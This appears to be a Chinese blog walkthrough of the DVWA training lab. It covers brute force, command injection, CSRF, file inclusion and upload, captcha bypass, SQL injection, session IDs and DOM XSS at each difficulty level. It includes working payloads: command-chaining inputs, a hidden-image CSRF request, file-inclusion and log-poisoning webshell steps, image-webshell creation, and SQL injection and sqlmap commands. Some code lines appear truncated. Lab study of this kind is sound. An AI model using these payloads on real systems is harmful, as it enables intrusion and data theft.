本文章包含了DVWA靶场四个难度的详细解析,具体如下!
提示:以下是本篇文章正文内容,下面案例可供参考
不做过多解释,具体安装方法不会请百度。
1 修改配置文件
2 登录
3 修改php配置
敏感参数回溯的方法
可以实现跨文件的变量和函数追踪 误报率很低
rips审计工具的测试
path/file:待扫描代码的文件地址;
subdirs:是否对代码的子目录进行扫描,勾选将会扫描子目录,不勾选只扫描当前目录下的PHP文件;
verbosity level:选择source点,即可控制的输入点,定义在rips下config/sources.php中;
vuln type:选择sink点,即可能会触发各种风险的函数,定义在rips下config/sinks.php中;
scan:选择好前面的选项,点击该按钮即可开始扫描;
code style:扫描结果的展示方式;
/regex/:要搜索内容的正则表达式;
search:根据正则表达式对全局代码进行搜索;
了解dvwa目录结构
SELECT * FROM ·users · WHERE user = '123123' AND password = 'f5bb0c8de146c67b44babbf4e6584cc0';
可进行爆破和注入绕过admin’ or '1
mysqli_real_escape_string()将’转义为
只能使用burp进行爆破
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//stripslashes()删除由 addslashes 函数添加的 反斜杠
//mysqli_real_escape_string()将'转义为\
自己实现工具
● 拿到token在源码里
● 提交数据包
GET/vulnerabilities/brute/?username=admin&password=§123123123§&Login=Login&user_token=0cd9bfa9b6cf84c8276ea6ae61c3f8d0
输错三次封禁15分钟!
实现方法:
写到数据库封禁时间
命令连接符:
command1 && command2
&&表示先执行command1,执行成功后执行command 2,否则不执行command 2
command1 & command2
$表示先执行command 1,不管是否成功,都会执行command 2
command1 || command2
||表示先执行command1,执行失败后,执行command2
command1 | command2
|表示将command 1的输出作为command 2的输入,只打印command 2执行的结果。
stristr(php_uname('s'),'Windows NT')//查找字符串 判断系统是否为win或linux
构造代码直接写入一句话
127.0.0.1 | echo "" >> 321321.php
过滤不完整,只是把&&和;替换为空;
127.0.0.1&;&net user
127.0.0.1|net user
127.0.0.1 |net user
impossible:
将ip进行分割然后在拼接,并判断是否为数字。
GET型没有进行任何csrf验证
构造代码
<img src="098.jpg" width=300px />
<img src="http://www.z.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change" width=0 />
//stripos(源文本,要查找的文本)寻找文本首次出现位置 不存在返回false存在返回字符位置
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false
验证http请求包的referer是否存在自己
自己构造referer就行
//开发中, 这种已经防 csrf
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );//验证took
搭配xss
dom 反射不推荐,浏览器过滤严格
推荐使用存储型xss
ajax 不能跨域
结合 DOM型 XSS来
http://www.z.com/vulnerabilities/xss_d/?default=English#
未做任何过滤
http://www.xxx.com/vulnerabilities/fi/?page=php://input post提交数据
phpinfo(); ?>
将接收的参数进行部分过滤http://或https和…/或…"替换为空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
page=htthttp://p://www.a.com/1.txt
page=http://www.xxx.com/vulnerabilities/fi/?page=php://input
或者post数据提交直接写入小马之后包含然后菜刀连接
$f=fopen("222.txt","w");fwrite($f,"?>");?>
只允许file开头的文件
fnmatch( “file*”, $file )
php伪协议:
● file:// — 访问本地文件系统
● http:// — 访问 HTTP(s) 网址
● ftp:// — 访问 FTP(s) URLs
● php:// — 访问各个输入/输出流(I/O streams)
● zlib:// — 压缩流
● data:// — 数据(RFC 2397)
● glob:// — 查找匹配的文件路径模式
● phar:// — PHP 归档
● ssh2:// — Secure Shell 2
● rar:// — RAR
● ogg:// — 音频流
● expect:// — 处理交互式的流
http://www.xxx.com/vulnerabilities/fi/page=xxx.php
报错会爆出绝对路径
D:\wamp\www\www.z.com\vulnerabilities\fi\index.php
推断日志目录
D:/wamp/logs/access.log
匹配file开头
file://D:/wamp/logs/access.log
包含日志成功拿到shell
白名单写死
$file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php"
没有做任何检查,直接上传即可!
只验证了文件类型和大小,抓包修改文件名或类型即可!
php5.3.4版本一下还可以使用文件名%00截断,其他版本使用burp进行url编码即可实现截断
$uploaded_type == "image/jpeg" || $uploaded_type == "image/png"
$uploaded_size < 100000
取图片头部验证是否为图片
getimagesize( $uploaded_tmp )
cmd合成图片马即可
copy 1.jpg/b+1.php/a hack.jpg
采用%00截断的方法可以轻松绕过文件名的检查,采用刚才的图片一句话进行上传。(适用于php小于 5.3.4 版本)
或者利用文件包含漏洞
图像重组技术
和逻辑漏洞相似
传入参数step=2&password_new=123123&password_conf=123123&Change=Change中
step可控,源代码中step为2可跳过第一步验证直接修改密码!
验证了如下参数是否存在
$_POST[ 'passed_captcha' ]
提交表单时把此参数添加进去即可!
验证验证码时用的或,所以只需要满足后面的条件,即可绕过验证码修改密码。
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
http_user_agent=user_agent
修改user_agent为reCAPTCHA,然后在添加 即可。
前三关全都可以用csrf绕过
写死验证码,为空就不允许通过。
未进行任何过滤,sqlmap直接开始。
过滤类型错误,应使用数字型过滤
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
直接1 or 1=1
sqlma post注入方式:
sqlmap.py -u "http://www.xxx.com/search.php" --data "search=a"
sqlmap.py -r post.txt
用了302跳转防止sqlmap,手工注入还是可以的。
检查took
判断是否为数字
is_numeric( $id )
用pdo形式处理
下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):
类似布尔注入
● 判断是否存在注入,注入是字符型还是数字型
● 猜解当前数据库名
● 猜解数据库中的表名
● 猜解表中的字段名
● 猜解数据
未进行任何过滤
1’ and 1=1 #返回正常
1’ and length(database())=1
过滤类型错误基本过滤无效,应使用数字型过滤
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id )
and 1=1
and 1=2
sqlmap直接开始
典型的cookie注入
setcookie( 'id', $_POST[ 'id' ]);
sqlmap绕过302跳转:
在第二次请求包的cookie中添加id=1*;参数即可扫描
sqlmap.py -u "http://www.XXX.com/search.php" --cookie "id=1*;phpsession=XXXXXX"
验证token,判断id是否为数字没法写字符串,使用pdo预处理操作
简单介绍:
SessionID密码与证书等认证手段,一般仅仅用于登录(Login)的过程。当登陆完成后,用户访问网站的页面,不可能每次浏览器请求页面时,都再使用密码认证一次。因此,当认证完成后,就需要替换一个对用户透明的凭证。这个凭证就是SessionID。
SessionID是在登录后,作为特定用户访问站点所需的唯一内容。如果能够计算或轻易猜到该SessionID,则攻击者将可以轻易获取访问权限,无需登录密码直接进入特定用户界面,进而查找其他漏洞如XSS、文件上传等等。
寻找session规律发现每次+1
last_session_id
根据眼下数字推断他是时间戳
$cookie_value = time();
根据眼下字符串推断是md5加密后的数据
md5($_SESSION['last_session_id_high']);
解密多次后发现也是每次+1
sha1强加密,随机数+时间戳+字符串!
sha1(mt_rand() . time() . "Impossible");
DOM:
代码 -> 浏览器(js)
可能触发 DOM 型 XSS 的属性:
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
js函数防止url编码:
decodeURI(url解码函数)
decodeURI对输入的内容进行URL解码导致代码执行,网址后面加JavaScript代码
<script>alert(1)script>
根据特定情况闭合
过滤